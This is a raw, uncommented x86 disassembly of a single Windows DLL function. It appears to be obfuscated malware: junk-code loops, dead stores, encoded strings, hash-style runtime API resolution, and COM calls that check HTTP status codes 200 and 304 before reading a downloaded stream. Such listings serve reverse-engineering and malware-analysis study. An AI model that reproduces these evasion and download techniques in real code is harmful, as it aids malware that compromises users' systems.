movzx ecx, word [ebp + eax*2 - 0x548]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x108]
add ecx, edx
mov edx, 0x3a3f
mov word [ebp + eax*2 - 0x548], cx
lea eax, [ebp - 0x164]
push eax
push ecx
call fcn.100076b8
mov ecx, dword [ebp - 0x164]
add esp, 0x14
add esi, 2
cmp esi, 0x4e
jb 0x10009587
xor eax, eax
sub esp, 0xc
mov word [ebp - 0x4fc], ax
mov edx, 0x2c83
mov eax, 0x48d327cb
xor cl, cl
mov dword [ebp - 0x290], eax
mov dword [ebp - 0x28c], eax
mov dword [ebp - 0x288], eax
mov dword [ebp - 0x284], eax
mov dword [ebp - 0x18], 0xfffffffc
mov dword [ebp - 0x18], 0xfffffffa
mov dword [ebp - 0x18], 0xedad
dec dword [ebp - 0x18]
call fcn.10007f5e
xor eax, eax
mov dword [ebp - 0x320], 7
add esp, 0xc
mov word [ebp - 0x334], ax
lea eax, [ebp - 0x548]
mov dword [ebp - 0x324], ebx
lea ecx, [ebp - 0x334]
push eax
call fcn.1000a767
push 0x13
mov byte [ebp - 4], 0x19
lea edi, [ebp - 0x548]
pop ecx
xor eax, eax
rep stosd dword es:[edi], eax
push 4
lea ecx, [ebp - 0x208]
stosw word es:[edi], ax
mov dword [ebp - 0x44], 1
call fcn.10001c9a
push ecx
push ecx
push 0x2ed7
push ecx
lea eax, [ebp - 0x208]
mov byte [ebp - 4], 0x1a
push eax
mov dl, 1
lea ecx, [ebp - 0x3b8]
call fcn.10007b3c
add esp, 0x14
mov dword [ebp - 0x44], ebx
jmp 0x10009720
mov dword [ebp - 0x5c], 1
mov dword [ebp - 0x5c], ebx
jmp 0x10009714
mov dword [ebp - 0x74], 1
mov byte [ebp - 0x3e], bl
cmp byte [ebp - 0x3e], 0
je 0x100096f4
push 0x19bd
push 0x20b9
mov cl, 1
call fcn.10007c25
pop ecx
pop ecx
lea eax, [ebp - 0x44]
push eax
push ecx
lea eax, [ebp - 0x5c]
push eax
push ebx
push 1
lea edx, [ebp - 0x74]
lea ecx, [ebp - 0x208]
call fcn.100078d9
add esp, 0x14
inc dword [ebp - 0x5c]
cmp dword [ebp - 0x5c], 3
jle 0x100096d1
mov eax, dword [ebp - 0x44]
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], 0xe
je 0x100096c5
mov byte [ebp - 4], 0x19
cmp dword [ebp - 0x208], 0
je 0x10009751
push dword [ebp - 0x208]
call fcn.10042747
pop ecx
mov dword [ebp - 0x208], ebx
mov dword [ebp - 0x204], ebx
mov dword [ebp - 0x200], ebx
push 0x72
pop eax
push 0x42
mov byte [ebp - 0x155], al
mov ecx, ebx
mov byte [ebp - 0x153], al
mov byte [ebp - 0x139], al
mov byte [ebp - 0x131], al
pop eax
push 2
mov word [ebp - 0x158], 0x3622
mov byte [ebp - 0x156], 0x1a
mov byte [ebp - 0x154], 0x23
mov byte [ebp - 0x152], 0x14
mov byte [ebp - 0x151], bl
mov dword [ebp - 0x150], 0x8207310
mov dword [ebp - 0x14c], 0x700b0a12
mov dword [ebp - 0x148], 0xd1f7724
mov dword [ebp - 0x144], 0x3150921
mov dword [ebp - 0x140], 0x405071d
mov word [ebp - 0x13c], 0x602
mov byte [ebp - 0x13a], 3
mov dword [ebp - 0x138], 0x6b1e6918
mov word [ebp - 0x134], 0x7707
mov byte [ebp - 0x132], 0x1b
mov dword [ebp - 0x130], 0x2197116
mov dword [ebp - 0x12c], 0x1d1c1d0e
mov byte [ebp - 0x128], bl
mov dword [ebp - 0x127], 0x44a0f4b
mov dword [ebp - 0x123], 0xd140908
mov dword [ebp - 0x11f], 0xa05081e
mov dword [ebp - 0x11b], 0x144250f
mov dword [ebp - 0x117], 0x602113b
mov dword [ebp - 0x113], 0x12060302
mov dword [ebp - 0x10f], 0x13710c7a
mov word [ebp - 0x10b], 0x171a
mov byte [ebp - 0x109], 0x68
mov word [ebp - 0x554], ax
pop esi
mov dword [ebp - 0x17c], ecx
cmp esi, 0x46
jne 0x10009884
push 4
pop ecx
push 0x48
mov dword [ebp - 0x17c], ecx
pop esi
jmp 0x100098d7
movzx edx, byte [ebp + esi - 0x157]
mov eax, esi
sub eax, ecx
push ebx
sub esp, 0xc
movzx eax, byte [ebp + eax - 0x15a]
movzx ecx, word [ebp + eax*2 - 0x598]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x158]
add ecx, edx
lea edx, [ebp - 0x17c]
mov word [ebp + eax*2 - 0x598], cx
mov ecx, 0xbe2
call fcn.100079de
mov ecx, dword [ebp - 0x17c]
add esp, 0x10
add esi, 2
cmp esi, 0x50
jb 0x10009871
xor eax, eax
lea ecx, [ebp - 0x1c0]
push 1
mov word [ebp - 0x54c], ax
call fcn.10001c9a
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x264]
mov dword [ebp - 0x1c], 2
mov dword [ebp - 0x18], 0xff8ee1d1
mov dword [ebp - 0x20], 0xcdf5ef88
mov dword [ebp - 0x20], 0xc007c7be
mov dword [ebp - 0x18], 8
mov dword [ebp - 0x18], 0xc12a7b09
mov dword [ebp - 0x18], 0x21dd2eb2
push 1
call fcn.10001c9a
mov byte [ebp - 4], 0x1c
mov dword [ebp - 0x18], 0x3ca5
mov dword [ebp - 0x58], ebx
jmp 0x1000995a
mov ecx, dword [ebp - 0x58]
mov eax, dword [ebp - 0x1c0]
mov dword [eax + ecx*4], 0xd3df75dc
inc dword [ebp - 0x58]
cmp dword [ebp - 0x58], 1
jl 0x10009947
push 1
push ecx
push ecx
lea eax, [ebp - 0x264]
push eax
lea edx, [ebp - 0x58]
call fcn.100075ad
mov dword [ebp - 0x1c], ebx
add esp, 0x10
cmp dword [ebp - 0x1c], ebx
jl 0x10009ad9
mov dword [ebp - 0x18], 0xfffffffc
lea ecx, [ebp - 0x24c]
push 3
pop eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x18], 0xffffffff
mov dword [ebp - 0x18], 0x6e86ff18
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x18], ebx
push eax
call fcn.10001c9a
mov dword [ebp - 0x18], 0x337672a6
push 3
mov dword [ebp - 0x28], 0xf7cd
mov dword [ebp - 0x14], ebx
pop edx
jmp 0x100099df
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x24c]
mov dword [eax + ecx*4], 0x939e63a5
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x100099cc
mov dword [ebp - 0x14], ebx
jmp 0x100099fa
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x36c], 0xaf1ba137
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x100099e9
mov dword [ebp - 0x14], ebx
jmp 0x10009a15
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1b4], 0x24df
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 1
jl 0x10009a04
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c0]
cmp dword [ecx + eax*4], 6
jae 0x10009a32
cmp dword [ecx], ebx
jne 0x10009a32
mov ecx, ebx
jmp 0x10009a35
xor ecx, ecx
inc ecx
mov eax, dword [ebp - 0x36c]
xor edx, edx
dec dword [ebp - 0x36c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24c]
cmp ecx, dword [eax + 8]
mov eax, dword [ebp - 0x18]
setne dl
xor ecx, ecx
cmp edx, eax
setge cl
mov dword [ebp - 0x20], ecx
cmp dword [ebp - 0x20], ebx
jne 0x10009a67
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c0]
mov eax, dword [eax + ecx*4]
mov ecx, 0x89bb5c1e
add eax, 0xa760
cmp ecx, eax
sbb eax, eax
neg eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], ebx
jg 0x10009ab2
xor eax, eax
inc eax
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x18], 0xfffffff7
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x18], eax
dec dword [ebp - 0x1b4]
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jle 0x10009a94
push dword [ebp - 0x24c]
call fcn.10042747
mov dword [ebp - 0x24c], ebx
mov dword [ebp - 0x248], ebx
mov dword [ebp - 0x244], ebx
dec dword [ebp - 0x1c]
pop ecx
jns 0x10009982
cmp dword [ebp - 0x264], 0
je 0x10009b00
push dword [ebp - 0x264]
call fcn.10042747
pop ecx
mov dword [ebp - 0x264], ebx
mov dword [ebp - 0x260], ebx
mov dword [ebp - 0x25c], ebx
mov byte [ebp - 4], 0x19
cmp dword [ebp - 0x1c0], 0
je 0x10009b2b
push dword [ebp - 0x1c0]
call fcn.10042747
pop ecx
mov dword [ebp - 0x1c0], ebx
mov dword [ebp - 0x1bc], ebx
mov dword [ebp - 0x1b8], ebx
xor eax, eax
mov dword [ebp - 0x34c], 7
mov word [ebp - 0x360], ax
lea ecx, [ebp - 0x360]
lea eax, [ebp - 0x598]
mov dword [ebp - 0x350], ebx
push eax
call fcn.1000a767
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0x27c]
mov dword [ebp - 0x18], 0xa8f9
mov dword [ebp - 0x18], 0xffffffff
mov dword [ebp - 0x18], 0xc6f1bf50
mov dword [ebp - 0x18], 4
mov dword [ebp - 0x18], 0xf36f6dd8
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x18], 7
push 3
call fcn.10001c9a
mov byte [ebp - 4], 0x1e
mov eax, 0xae28de6
mov dword [ebp - 0x310], eax
mov dword [ebp - 0x30c], eax
mov dword [ebp - 0x308], eax
mov dword [ebp - 0x304], eax
mov dword [ebp - 0x4c], ebx
jmp 0x10009bcf
mov eax, dword [ebp - 0x4c]
mov dword [ebp + eax*4 - 0x3b4], 0x6923607a
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], 1
jl 0x10009bbe
push 0x4e7c
push ebx
push ecx
lea eax, [ebp - 0x4c]
push eax
push ecx
lea ecx, [ebp - 0x27c]
call fcn.10007e2e
add esp, 0x14
dec dword [ebp - 0x30c]
mov byte [ebp - 4], 0x1d
cmp dword [ebp - 0x27c], 0
je 0x10009c20
push dword [ebp - 0x27c]
call fcn.10042747
pop ecx
mov dword [ebp - 0x27c], ebx
mov dword [ebp - 0x278], ebx
mov dword [ebp - 0x274], ebx
push 0x13
pop ecx
xor eax, eax
lea edi, [ebp - 0x598]
rep stosd dword es:[edi], eax
push 3
lea ecx, [ebp - 0x214]
stosw word es:[edi], ax
call fcn.10001c9a
push 3
lea ecx, [ebp - 0x1cc]
mov byte [ebp - 4], 0x1f
call fcn.10001c9a
mov byte [ebp - 4], 0x20
mov dword [ebp - 0x18], 0xffffffff
mov dword [ebp - 0x28], 0x7f4d
cmp dword [ebp - 0x28], 0x808f
jle 0x10009ca3
mov edi, ebx
mov esi, ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x18], 0x412d
mov eax, ebx
mov ecx, 0x10075b18
xor eax, edi
cdq
push edx
push eax
call fcn.10001b85
add ebx, esi
dec dword [ebp - 0x18]
jne 0x10009c76
inc esi
push 0
pop ebx
cmp esi, 0x2f22
jl 0x10009c6c
inc edi
cmp edi, 0xa95
jl 0x10009c6a
mov byte [ebp - 4], 0x21
cmp dword [ebp - 0x28], 0x7d05
jge 0x10009cdd
mov edx, str.qwxd_icm_rrjjw_cqmlr_imusfjdab_ycyatly_qurqkq_huav_slenrhod_dje_rivqxtqic
mov ecx, 0x10075b18
call fcn.100036dc
jmp 0x10009cdd
mov edi, dword [ebp - 0x16c]
mov esi, 0xa365
mov dword [ebp - 4], 0x20
mov dword [ebp - 0x2c], ebx
jmp 0x10009d07
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x214]
mov dword [eax + ecx*4], 0xb58e
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 3
jl 0x10009cf4
push 0x11bf
push 1
push 0x1cb2
push 0x673b
push ebx
lea eax, [ebp - 0x2c]
xor dl, dl
push eax
push 0x77b7
lea ecx, [ebp - 0x1cc]
call fcn.10008310
add esp, 0x1c
mov dword [ebp - 0x2c], ebx
jmp 0x10009d4e
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x1b0], 0x36173948
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 1
jl 0x10009d3d
push 1
push 0x67d0
push ecx
push 0x2cd6
push ecx
push 0x487e
push 0x4b6b
push 0x37b3
lea eax, [ebp - 0x214]
mov edx, 0x640c
push eax
push 0x6f5c
push 0x378e
mov ecx, 0x215a
call fcn.100076dc
add esp, 0x2c
lea edx, [ebp - 0x1cc]
push ebx
push ecx
push ecx
call fcn.10007c63
add esp, 0xc
cmp dword [ebp - 0x1cc], 0
je 0x10009dcc
push dword [ebp - 0x1cc]
call fcn.10042747
pop ecx
mov dword [ebp - 0x1cc], ebx
mov dword [ebp - 0x1c8], ebx
mov dword [ebp - 0x1c4], ebx
mov byte [ebp - 4], 0x1d
cmp dword [ebp - 0x214], 0
je 0x10009df7
push dword [ebp - 0x214]
call fcn.10042747
pop ecx
mov dword [ebp - 0x214], ebx
mov dword [ebp - 0x210], ebx
mov dword [ebp - 0x20c], ebx
cmp dword [ebp - 0x320], 8
lea ecx, [ebp - 0x418]
push ecx
lea eax, [ebp - 0x334]
cmovae eax, dword [ebp - 0x334]
push eax
push esi
push 0x9140
call fcn.1001d77c
pop ecx
pop ecx
call eax
test eax, eax
jne 0x1000a3fa
cmp dword [ebp - 0x34c], 8
lea ecx, [ebp - 0x428]
push ecx
lea eax, [ebp - 0x360]
cmovae eax, dword [ebp - 0x360]
push eax
push esi
push 0x9140
call fcn.1001d77c
pop ecx
pop ecx
call eax
test eax, eax
jne 0x1000a3fa
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x418]
push eax
push 3
push ebx
lea eax, [ebp - 0x428]
push eax
push esi
push 0x7097
call fcn.1001d77c
pop ecx
pop ecx
call eax
test eax, eax
js 0x1000a3fa
cmp dword [ebp - 0x34], 0
je 0x1000a3fa
lea eax, [ebp - 0x3e8]
push eax
push 1
push ecx
push 0x5405
push ecx
mov ecx, 0x5517
call fcn.10007e2e
add esp, 0x14
mov byte [ebp - 0x70], bl
xor eax, eax
mov dword [ebp - 0x6f], 0x1e701a9
mov word [ebp - 0x3e0], ax
mov ecx, ebx
mov word [ebp - 0x6b], 0x222
push 0x47
pop eax
push 2
mov byte [ebp - 0x69], 0x11
mov word [ebp - 0x19c], ax
pop esi
mov dword [ebp - 0x180], ecx
cmp esi, 2
jne 0x10009ef1
push esi
pop ecx
mov dword [ebp - 0x180], ecx
jmp 0x10009f3b
movzx edx, byte [ebp + esi - 0x6f]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0x72]
movzx ecx, word [ebp + eax*2 - 0x19c]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x70]
add ecx, edx
mov dl, 1
mov word [ebp + eax*2 - 0x19c], cx
lea eax, [ebp - 0x180]
push eax
push ecx
mov ecx, 0x51c2
call fcn.10007f4a
mov ecx, dword [ebp - 0x180]
add esp, 8
add esi, 2
cmp esi, 8
jb 0x10009ee2
xor eax, eax
mov dword [ebp - 0x218], 7
mov word [ebp - 0x196], ax
lea ecx, [ebp - 0x22c]
mov word [ebp - 0x22c], ax
lea eax, [ebp - 0x19c]
push eax
mov dword [ebp - 0x21c], ebx
call fcn.1000a767
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x22c]
cmp dword [ebp - 0x218], 8
mov eax, dword [ebp - 0x21c]
cmovae ecx, dword [ebp - 0x22c]
push dword [ebp - 0x1b0]
mov dword [ebp - 0x19c], ebx
mov dword [ebp - 0x198], ebx
lea eax, [ecx + eax*2]
mov dword [ebp - 0x2c0], ebx
lea ecx, [ebp - 0x22c]
mov dword [ebp - 0x2bc], ebx
cmovae ecx, dword [ebp - 0x22c]
push eax
push ecx
lea ecx, [ebp - 0x2c0]
mov dword [ebp - 0x2b8], ebx
call fcn.1000af3b
push ecx
push ecx
lea eax, [ebp - 0x2c0]
mov byte [ebp - 4], 0x24
push eax
push ecx
push 0x1623
xor dl, dl
mov ecx, 0x22b6
call fcn.10007b3c
add esp, 0x14
cmp dword [edi + 0x14], 8
jb 0x1000a000
mov ecx, dword [edi]
jmp 0x1000a002
mov ecx, edi
cmp dword [edi + 0x14], 8
mov eax, dword [edi + 0x10]
lea eax, [ecx + eax*2]
jb 0x1000a010
mov edi, dword [edi]
push dword [ebp - 0x1b0]
lea ecx, [ebp - 0x258]
mov dword [ebp - 0x258], ebx
push eax
push edi
mov dword [ebp - 0x254], ebx
mov dword [ebp - 0x250], ebx
call fcn.1000af3b
sub esp, 0xc
mov byte [ebp - 4], 0x25
lea edx, [ebp - 0x258]
mov cl, 1
call fcn.10007f5e
mov eax, dword [ebp - 0x34]
lea esi, [ebp - 0x380]
cmp dword [ebp - 0x218], 8
lea edx, [ebp - 0x22c]
cmovae edx, dword [ebp - 0x22c]
mov ecx, dword [eax]
push ecx
mov edi, esp
sub esp, 0x10
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x380]
sub esp, 0x10
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x3e8]
push dword [ebp - 0x258]
push edx
movsd dword es:[edi], dword [esi]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [ecx + 0x1c]
test eax, eax
js 0x1000a312
mov dword [ebp - 0x18], 0x28d1
cmp dword [ebp - 0x18], 0x296a
jle 0x1000a0f5
push 0x24
push ebx
push ebx
push 0x14b6
push ebx
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
mov esi, ebx
mov edi, ebx
mov eax, edi
mov ecx, 0x10075b18
xor eax, esi
cdq
push edx
push eax
call fcn.10001b85
inc edi
cmp edi, 0x579
jl 0x1000a0d2
inc esi
cmp esi, 0x40ba
jl 0x1000a0d0
mov byte [ebp - 4], 0x26
cmp dword [ebp - 0x18], 0x25d2
mov dword [ebp - 0x178], ebx
jge 0x1000a135
mov edx, str.bptszh_mdnbb_ocfxmu_woqf_dfgr_slcqfit
mov ecx, 0x10075b18
call fcn.100036dc
jmp 0x1000a135
mov dword [ebp - 4], 0x25
mov cl, 1
mov esi, dword [ebp - 0x1ac]
cmp esi, dword [ebp - 0x1a8]
je 0x1000a196
add esi, 0x18
test cl, cl
je 0x1000a17e
cmp dword [esi + 0x14], 8
jb 0x1000a15d
mov edi, dword [esi]
jmp 0x1000a15f
mov edi, esi
cmp dword [esi - 4], 8
jb 0x1000a16a
mov edx, dword [esi - 0x18]
jmp 0x1000a16d
lea edx, [esi - 0x18]
mov eax, dword [ebp - 0x34]
push edi
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x20]
mov cl, 1
test eax, eax
jns 0x1000a180
mov cl, bl
add esi, 0x30
lea eax, [esi - 0x18]
cmp eax, dword [ebp - 0x1a8]
jne 0x1000a14f
test cl, cl
je 0x1000a312
mov eax, dword [ebp - 0x34]
lea esi, [ebp - 0x380]
sub esp, 0x10
mov edi, esp
mov ecx, dword [eax]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [ecx + 0x2c]
test eax, eax
js 0x1000a312
mov eax, dword [ebp - 0x34]
lea edx, [ebp - 0x178]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x34]
test eax, eax
js 0x1000a312
cmp dword [ebp - 0x178], 0x130
je 0x1000a1ea
cmp dword [ebp - 0x178], 0xc8
jne 0x1000a312
mov eax, dword [ebp - 0x34]
lea edx, [ebp - 0x408]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x48]
test eax, eax
js 0x1000a312
mov esi, dword [ebp - 0x400]
mov dword [ebp - 0x64], esi
test esi, esi
je 0x1000a312
mov eax, dword [esi]
lea ecx, [ebp - 0x5e0]
push 1
push ecx
push esi
call dword [eax + 0x30]
test eax, eax
js 0x1000a2e4
mov eax, dword [ebp - 0x5d8]
mov edx, 0xdf2
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x1d8]
push eax
push ecx
push 1
push ecx
lea ecx, [ebp - 0x80]
call fcn.10008019
mov edx, dword [ebp - 0x80]
mov eax, ebx
mov edi, dword [ebp - 0x1d8]
add esp, 0x10
mov dword [ebp - 0x60], edx
mov dword [ebp - 0x160], ebx
mov dword [ebp - 0x168], eax
mov ecx, dword [esi]
lea ebx, [ebp - 0x160]
push ebx
push edx
add eax, edi
push eax
push esi
call dword [ecx + 0xc]
test eax, eax
js 0x1000a2c1
push 1
push ecx
push 0x457f
lea eax, [ebp - 0x168]
mov edx, ebx
push eax
push 0x452b
push 0x78d6
call fcn.10007616
add esp, 0x14
lea eax, [ebp - 0x60]
mov dl, 1
push eax
mov eax, ebx
push eax
call fcn.100082a3
mov eax, dword [ebp - 0x168]
add esp, 0xc
cmp eax, dword [ebp - 0x80]
jae 0x1000a2c1
mov edx, dword [ebp - 0x60]
jmp 0x1000a268
lea eax, [ebp - 0x1d8]
push eax
push 1
lea eax, [ebp - 0x80]
push eax
push 0x213e
push ecx
lea edx, [ebp - 0x168]
call fcn.100076b8
add esp, 0x14
xor ebx, ebx
push 0x68a0
push 1
push 0x5415
push 0x7e4f
push 1
lea eax, [ebp - 0x64]
mov dl, 1
push 0x25fa
push eax
mov ecx, 0x3e18
call fcn.10008310
add esp, 0x1c
mov dword [ebp - 0x64], ebx
push 1
push 0x324d
push ecx
push 0x402e
lea edx, [ebp - 0x34]
call fcn.10007e65
mov dword [ebp - 0x18], 0x7c04
add esp, 0x10
cmp dword [ebp - 0x18], 0x7da2
jle 0x1000a3af
mov esi, ebx
mov dword [ebp - 0x60], ebx
mov edi, ebx
mov dword [ebp - 0x64], ebx
mov ecx, edi
mov dword [ebp - 0x74], esi
mov edi, esi
mov dword [ebp - 0x174], ebx
shl edi, cl
mov esi, ebx
mov ecx, esi
mov eax, edi
shl eax, cl
lea ecx, [ebp - 0x494]
cdq
push edx
push eax
call fcn.10001a41
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1000a373
mov eax, dword [eax]
push eax
call fcn.100425d6
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x494]
call fcn.10001f96
inc esi
cmp esi, 0x553c
jl 0x1000a355
mov edi, dword [ebp - 0x64]
mov esi, dword [ebp - 0x60]
inc edi
mov dword [ebp - 0x64], edi
cmp edi, 0x4359
jl 0x1000a344
inc esi
mov dword [ebp - 0x60], esi
cmp esi, 0x29a4
jl 0x1000a33f
cmp dword [ebp - 0x18], 0x78e6
jge 0x1000a3c3
push str.imx_pdxpmoph_nrnprmcjf_ipnyqcm_hvmvnsrk_vvbynq_ejcaweeg_qrz
call fcn.100425d6
pop ecx
mov dword [ebp - 4], 0x25
lea ecx, [ebp - 0x258]
mov dword [ebp - 0x34], ebx
call fcn.1000a8e0
lea ecx, [ebp - 0x2c0]
call fcn.1000a8e0
push ebx
push 1
lea ecx, [ebp - 0x22c]
mov byte [ebp - 4], 0x1d
call fcn.10006b31
mov esi, 0xa365
push esi
push 0x5730
call fcn.1001d77c
pop ecx
pop ecx
call eax
mov ecx, dword [ebp - 0x280]
lea eax, [ebp - 0x1d8]
push eax
call fcn.1000a649
push ebx
push 1
lea ecx, [ebp - 0x360]
call fcn.10006b31
push ebx
push 1
lea ecx, [ebp - 0x334]
call fcn.10006b31
lea ecx, [ebp - 0x1ac]
call fcn.1000a7ef
lea ecx, [ebp - 0x1d8]
call fcn.1000a86a
lea ecx, [ebp + 8]
call fcn.1000a7ef
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret